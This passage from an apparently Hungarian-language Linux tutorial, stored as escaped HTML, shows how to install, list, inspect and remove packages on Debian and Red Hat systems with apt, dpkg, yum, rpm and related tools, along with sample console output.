 * extras: ftp.freepark.org
 * updates: ftp.freepark.org
Függőségek megállapítása
--&amp;gt; Tranzakció ellenőrzés futtatása
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; nano.x86_64 0:2.3.1-10.el7 csomaggal a következő történik: telepítve
--&amp;gt; A függőségvizsgálat véget ért

Függőségek Megtalálva

&lt;span class=&quot;o&quot;&gt;===================================================================================&lt;/span&gt;
 Package         Arch              Verzió                    Tároló          Méret
&lt;span class=&quot;o&quot;&gt;===================================================================================&lt;/span&gt;
Telepítés:
 nano            x86_64            2.3.1-10.el7              base            &lt;span class=&quot;m&quot;&gt;440&lt;/span&gt; k

Tranzakció Összegzés
&lt;span class=&quot;o&quot;&gt;===================================================================================&lt;/span&gt;
Telepítés  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; Package

Teljes &lt;span class=&quot;nb&quot;&gt;let&lt;/span&gt;öltési méret: &lt;span class=&quot;m&quot;&gt;440&lt;/span&gt; k
Telepített méret: 1.6 M
Is this ok &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/d/N&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;: y
Downloading packages:
nano-2.3.1-10.el7.x86_64.rpm                                &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;440&lt;/span&gt; kB  00:00:00     
Running transaction check
Running transaction &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt;
Transaction &lt;span class=&quot;nb&quot;&gt;test &lt;/span&gt;succeeded
Running transaction
  Telepítés     : nano-2.3.1-10.el7.x86_64                                     1/1 
  Ellenőrzés    : nano-2.3.1-10.el7.x86_64                                     1/1 

Telepítve:
  nano.x86_64 0:2.3.1-10.el7                                                       

Kész!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Mind két esetben több csomagot is lehet egyszerre telepíteni, ez esetben csak fel kell sorolni a kívánt csomagokat, &lt;code&gt;apt-get install csomag1 csomag2 
...&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;teleptett-csomagok&quot;&gt;Telepített csomagok&lt;/h2&gt;

&lt;p&gt;Ha meg szeretnénk nézni a feltelepített csomagok listáját, akkor Debian alapú rendszereken ezt a &lt;code&gt;dpkg -l&lt;/code&gt; utasítással tehetjük meg.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# dpkg -l&lt;/span&gt;
Kért&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;ismeretlen&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;u&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/telepítés&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/eltávolítás&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/törlés&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/tartás&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;h&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; Állapot&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;nem&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;n&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/telepített&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/ütköző-fájlok&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/kibontatlan&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;u&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/félig-
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;     ütköző&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/félig-telepített&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;h&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/aktiválóra-vár&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;w&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/aktiváló-függőben&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;t&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;/ Hiba?&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;nem&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;/újratelepítés-szükséges&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Állapot,Hiba: nagybetű&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;rossz&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;/ Név            Verzió       Architektúra Leírás
+++-&lt;span class=&quot;o&quot;&gt;==============&lt;/span&gt;-&lt;span class=&quot;o&quot;&gt;============&lt;/span&gt;-&lt;span class=&quot;o&quot;&gt;============&lt;/span&gt;-&lt;span class=&quot;o&quot;&gt;==================================&lt;/span&gt;
ii  acl            2.2.52-2     i386         Access control list utilities
ii  acpi           1.7-1        i386         displays information on ACPI devic
ii  acpi-support-b 0.142-6      all          scripts &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; handling base ACPI eve
...
ii  xkb-data       2.12-1       all          X Keyboard Extension &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;XKB&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; configu
ii  xml-core       0.13+nmu2    all          XML infrastructure and XML catalog
ii  zlib1g:i386    1:1.2.8.dfsg i386         compression library - runtime&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ennek eredménye egy jó hosszú lista amit a &lt;code&gt;grep&lt;/code&gt; utasítással szűkíthetünk.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# dpkg -l | grep image&lt;/span&gt;
ii  linux-base                    3.5                         all          Linux image base package
ii  linux-image-3.16.0-4-686-pae  3.16.7-ckt20-1+deb8u4       i386         Linux 3.16 &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; modern PCs
ii  linux-image-686-pae           3.16+63                     i386         Linux &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; modern PCs &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;meta-package&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Red Hat alapú rendszereknél a &lt;code&gt;yum list installed&lt;/code&gt; vagy az &lt;code&gt;rpm -qa&lt;/code&gt; utasítással tehetjük meg ugyanezt.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# yum list installed&lt;/span&gt;
Betöltött bővítmények: fastestmirror
Loading mirror speeds from cached hostfile
 * base: ftp.freepark.org
 * extras: ftp.freepark.org
 * updates: ftp.freepark.org
Telepített csomagok
NetworkManager.x86_64                 1:1.0.6-27.el7                      @anaconda
NetworkManager-libnm.x86_64           1:1.0.6-27.el7                      @anaconda
NetworkManager-tui.x86_64             1:1.0.6-27.el7                      @anaconda
...
yum-metadata-parser.x86_64            1.1.4-10.el7                        @anaconda
yum-plugin-fastestmirror.noarch       1.1.31-34.el7                       @anaconda
zlib.x86_64                           1.2.7-15.el7                        @anaconda&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ezek szintén hosszú listák, de a &lt;code&gt;grep&lt;/code&gt;-el itt is célzottan szűkithetünk.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# rpm -qa | grep nano&lt;/span&gt;
nano-2.3.1-10.el7.x86_64
&lt;span class=&quot;c&quot;&gt;# yum list installed | grep nano&lt;/span&gt;
nano.x86_64                         2.3.1-10.el7                       @base&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id=&quot;csomag-informcik&quot;&gt;Csomag információk&lt;/h2&gt;

&lt;p&gt;Egy adott csomagról mindent megtudhatunk az &lt;code&gt;apt-cache showpkg&lt;/code&gt; utasítással. A függőségeit, hogy mely csomagok függnek tőle, verzióját és az  MD5 
ellenőrző kódját.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-cache showpkg htop&lt;/span&gt;
Package: htop
Versions: 
1.0.3-1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;/var/lib/apt/lists/ftp.bme.hu_debian_dists_jessie_main_binary-i386_Packages&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;/var/lib/dpkg/status&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
 Description Language: 
                 File: /var/lib/apt/lists/ftp.bme.hu_debian_dists_jessie_main_binary-i386_Packages
                  MD5: 8eb5aa19b3c92a975dc78e2165f6688d
 Description Language: en
                 File: /var/lib/apt/lists/ftp.bme.hu_debian_dists_jessie_main_i18n_Translation-en
                  MD5: 8eb5aa19b3c92a975dc78e2165f6688d


Reverse Depends: 
  util-vserver,htop
  lava-dispatcher,htop
  education-common,htop
Dependencies: 
1.0.3-1 - libc6 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; 2.15&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; libncursesw5 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; 5.6+20070908&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; libtinfo5 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;null&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; strace &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;null&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; ltrace &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;null&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; 
Provides: 
1.0.3-1 - 
Reverse Provides:&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha csak a függőségekre vagyunk kíváncsiak, akkor azt az &lt;code&gt;apt-cache depends&lt;/code&gt; és &lt;code&gt;apt-cache rdepends&lt;/code&gt;-el is lekérdezhetjük.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-cache depends htop&lt;/span&gt;
htop
  Függ ettől: libc6
  Függ ettől: libncursesw5
  Függ ettől: libtinfo5
  Javasolja: strace
  Javasolja: ltrace
&lt;span class=&quot;c&quot;&gt;# apt-cache rdepends htop&lt;/span&gt;
htop
Reverse Depends:
  util-vserver
  lava-dispatcher
  education-common&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Az adott csomagban levő fájlokat az &lt;code&gt;apt-file list&lt;/code&gt; mutatja meg nekünk. Ez nem az &lt;code&gt;apt&lt;/code&gt; csomag része, ezt külön kell telepítünk az 
&lt;code&gt;apt-get install apt-file&lt;/code&gt; utasítással. Telepítés után az &lt;code&gt;apt-file&lt;/code&gt; adatbázisát aktualizálni kell, az &lt;code&gt;apt-file update&lt;/code&gt;-el.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-file update&lt;/span&gt;
Downloading &lt;span class=&quot;nb&quot;&gt;complete &lt;/span&gt;file http://ftp.bme.hu/debian/dists/jessie/main/Contents-i386.gz
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
&lt;span class=&quot;m&quot;&gt;100&lt;/span&gt; 26.2M  &lt;span class=&quot;m&quot;&gt;100&lt;/span&gt; 26.2M    &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;     &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;  2696k      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;  0:00:09  0:00:09 --:--:-- 2757k
Ignoring &lt;span class=&quot;nb&quot;&gt;source &lt;/span&gt;without Contents File:
  http://security.debian.org/dists/jessie/updates/main/Contents-i386.gz
Downloading &lt;span class=&quot;nb&quot;&gt;complete &lt;/span&gt;file http://ftp.bme.hu/debian/dists/jessie-updates/main/Contents-i386.gz
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
&lt;span class=&quot;m&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;22841&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;22841&lt;/span&gt;    &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;     &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;   212k      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; --:--:-- --:--:-- --:--:--  214k&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Most már jöhet a listázás.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-file list htop&lt;/span&gt;
htop: /usr/bin/htop
htop: /usr/share/applications/htop.desktop
htop: /usr/share/doc/htop/AUTHORS
htop: /usr/share/doc/htop/README
htop: /usr/share/doc/htop/changelog.Debian.gz
htop: /usr/share/doc/htop/changelog.gz
htop: /usr/share/doc/htop/copyright
htop: /usr/share/man/man1/htop.1.gz
htop: /usr/share/menu/htop
htop: /usr/share/pixmaps/htop.png&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Red Hat alapú rendszereken is hasonló az eljárás. Itt az információt az adott csomagról a &lt;code&gt;yum info&lt;/code&gt; mutatja meg.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# yum info nano&lt;/span&gt;
Betöltött bővítmények: fastestmirror
Loading mirror speeds from cached hostfile
 * base: ftp.freepark.org
 * extras: ftp.freepark.org
 * updates: ftp.freepark.org
Telepített csomagok
Név         : nano
Arch        : x86_64
Verzió      : 2.3.1
Kiadás      : 10.el7
Méret       : 1.6 M
Tároló      : installed
Tárolóból   : base
Összegzés   : A small text editor
URL         : http://www.nano-editor.org
Licenc      : GPLv3+
Leírás      : GNU nano is a small and friendly text editor.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Azt hogy az adott csomagnak mik a függőségei és tőle mely csomagok függnek, itt az &lt;code&gt;rpm -qR&lt;/code&gt; és &lt;code&gt;rpm -q --whatrequires&lt;/code&gt; utasítással deríthető ki.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# rpm -qR nano&lt;/span&gt;
/bin/sh
/bin/sh
/sbin/install-info
/sbin/install-info
config&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;nano&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 2.3.1-10.el7
libc.so.6&lt;span class=&quot;o&quot;&gt;()(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
libc.so.6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GLIBC_2.11&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
libc.so.6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GLIBC_2.14&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
libc.so.6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GLIBC_2.2.5&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
libc.so.6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GLIBC_2.3&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
libc.so.6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GLIBC_2.3.4&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
libc.so.6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GLIBC_2.4&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
libc.so.6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GLIBC_2.6&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
libncursesw.so.5&lt;span class=&quot;o&quot;&gt;()(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
libtinfo.so.5&lt;span class=&quot;o&quot;&gt;()(&lt;/span&gt;64bit&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
rpmlib&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CompressedFileNames&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &amp;lt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 3.0.4-1
rpmlib&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;FileDigests&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &amp;lt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 4.6.0-1
rpmlib&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;PayloadFilesHavePrefix&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &amp;lt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 4.0-1
rtld&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GNU_HASH&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
rpmlib&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;PayloadIsXz&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &amp;lt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 5.2-1
&lt;span class=&quot;c&quot;&gt;# rpm -q --whatrequires &amp;#39;config(nano)&amp;#39;&lt;/span&gt;
nano-2.3.1-10.el7.x86_64&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Az adott csomag fájljait itt szintén egy külön csomaggal lehet megnézni, a &lt;code&gt;repoquery&lt;/code&gt;-vel. Ezt a &lt;code&gt;yum install yum-utils&lt;/code&gt; utasítással tudjuk 
telepíteni.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# yum install yum-utils&lt;/span&gt;
Betöltött bővítmények: fastestmirror
Loading mirror speeds from cached hostfile
 * base: ftp.freepark.org
 * extras: ftp.freepark.org
 * updates: ftp.freepark.org
Függőségek megállapítása
--&amp;gt; Tranzakció ellenőrzés futtatása
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; yum-utils.noarch 0:1.1.31-34.el7 csomaggal a következő történik: telepítve
--&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; python-kitchen függőség feldolgozása a következő csomaghoz: yum-utils-1.1.31-34.el7.noarch
--&amp;gt; Tranzakció ellenőrzés futtatása
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; python-kitchen.noarch 0:1.1.1-5.el7 csomaggal a következő történik: telepítve
--&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; python-chardet függőség feldolgozása a következő csomaghoz: python-kitchen-1.1.1-5.el7.noarch
--&amp;gt; Tranzakció ellenőrzés futtatása
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; python-chardet.noarch 0:2.2.1-1.el7_1 csomaggal a következő történik: telepítve
--&amp;gt; A függőségvizsgálat véget ért

Függőségek Megtalálva

&lt;span class=&quot;o&quot;&gt;===================================================================================&lt;/span&gt;
 Package                Arch           Verzió                   Tároló       Méret
&lt;span class=&quot;o&quot;&gt;===================================================================================&lt;/span&gt;
Telepítés:
 yum-utils              noarch         1.1.31-34.el7            base         &lt;span class=&quot;m&quot;&gt;113&lt;/span&gt; k
Telepítés a függőségeknek:
 python-chardet         noarch         2.2.1-1.el7_1            base         &lt;span class=&quot;m&quot;&gt;227&lt;/span&gt; k
 python-kitchen         noarch         1.1.1-5.el7              base         &lt;span class=&quot;m&quot;&gt;267&lt;/span&gt; k

Tranzakció Összegzés
&lt;span class=&quot;o&quot;&gt;===================================================================================&lt;/span&gt;
Telepítés  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; Package &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;+2 Függőben lévő csomagok&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

Teljes &lt;span class=&quot;nb&quot;&gt;let&lt;/span&gt;öltési méret: &lt;span class=&quot;m&quot;&gt;607&lt;/span&gt; k
Telepített méret: 2.8 M
Is this ok &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/d/N&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;: y
Downloading packages:
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1/3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: python-kitchen-1.1.1-5.el7.noarch.rpm                &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;267&lt;/span&gt; kB  00:00:00     
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2/3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: python-chardet-2.2.1-1.el7_1.noarch.rpm              &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;227&lt;/span&gt; kB  00:00:01     
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;3/3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: yum-utils-1.1.31-34.el7.noarch.rpm                   &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;113&lt;/span&gt; kB  00:00:01     
-----------------------------------------------------------------------------------
Összesen                                              &lt;span class=&quot;m&quot;&gt;295&lt;/span&gt; kB/s &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;607&lt;/span&gt; kB  00:02     
Running transaction check
Running transaction &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt;
Transaction &lt;span class=&quot;nb&quot;&gt;test &lt;/span&gt;succeeded
Running transaction
  Telepítés     : python-chardet-2.2.1-1.el7_1.noarch                          1/3 
  Telepítés     : python-kitchen-1.1.1-5.el7.noarch                            2/3 
  Telepítés     : yum-utils-1.1.31-34.el7.noarch                               3/3 
  Ellenőrzés    : python-kitchen-1.1.1-5.el7.noarch                            1/3 
  Ellenőrzés    : yum-utils-1.1.31-34.el7.noarch                               2/3 
  Ellenőrzés    : python-chardet-2.2.1-1.el7_1.noarch                          3/3 

Telepítve:
  yum-utils.noarch 0:1.1.31-34.el7                                                 

Függőség Telepítve:
  python-chardet.noarch 0:2.2.1-1.el7_1     python-kitchen.noarch 0:1.1.1-5.el7    

Kész!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;És így már jöhet a listázás.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# repoquery --list nano&lt;/span&gt;
/etc/nanorc
/usr/bin/nano
/usr/bin/rnano
...
/usr/share/nano/tcl.nanorc
/usr/share/nano/tex.nanorc
/usr/share/nano/xml.nanorc&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id=&quot;csomagok-eltvoltsa&quot;&gt;Csomagok eltávolítása&lt;/h2&gt;

&lt;p&gt;Debian alapú rendszerek esetén a már nem szükséges csomagokat az &lt;code&gt;apt-get remove&lt;/code&gt; utasítással távolíthatjuk el. Ez eltávolítja ugyan a csomagot, de 
meghagyja a beállítás és konfigurációs fájlokat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get remove htop&lt;/span&gt;
Csomaglisták olvasása... Kész
Függőségi fa építése       
Állapotinformációk olvasása... Kész
Az alábbi csomagok el lesznek TÁVOLÍTVA:
  htop
&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; frissített, &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; újonnan telepített, &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; eltávolítandó és &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; nem frissített.
A művelet után &lt;span class=&quot;m&quot;&gt;205&lt;/span&gt; kB lemezterület szabadul fel.
Folytatni akarja? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;I/n&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; 
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Adatbázis olvasása ... &lt;span class=&quot;m&quot;&gt;21700&lt;/span&gt; fájl és könyvtár van jelenleg telepítve.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Eltávolítás: htop &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1.0.3-1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Aktiválók feldolgozása: man-db &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.7.0.2-5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha ezekkel együtt szeretnénk eltávolítani az adott csomagot, akkor az &lt;code&gt;apt-get purge&lt;/code&gt; utasítást használjuk.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get purge bind9&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A különböző függőségek miatt telepített és már feleslegessé vált csomagokat az &lt;code&gt;apt-get autoremove&lt;/code&gt; távolítja el.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get autoremove&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A telepített csomagok &lt;code&gt;deb&lt;/code&gt; fájljai a &lt;code&gt;/var/cache/apt/archives&lt;/code&gt; mappában tárolódnak. Az &lt;code&gt;apt-get autoclean&lt;/code&gt; utasítással törölhetőek azon &lt;code&gt;deb&lt;/code&gt; csomagok 
amelyekre már nincs szükség. &lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get autoclean&lt;/span&gt;
Csomaglisták olvasása... Kész
Függőségi fa építése       
Állapotinformációk olvasása... Kész
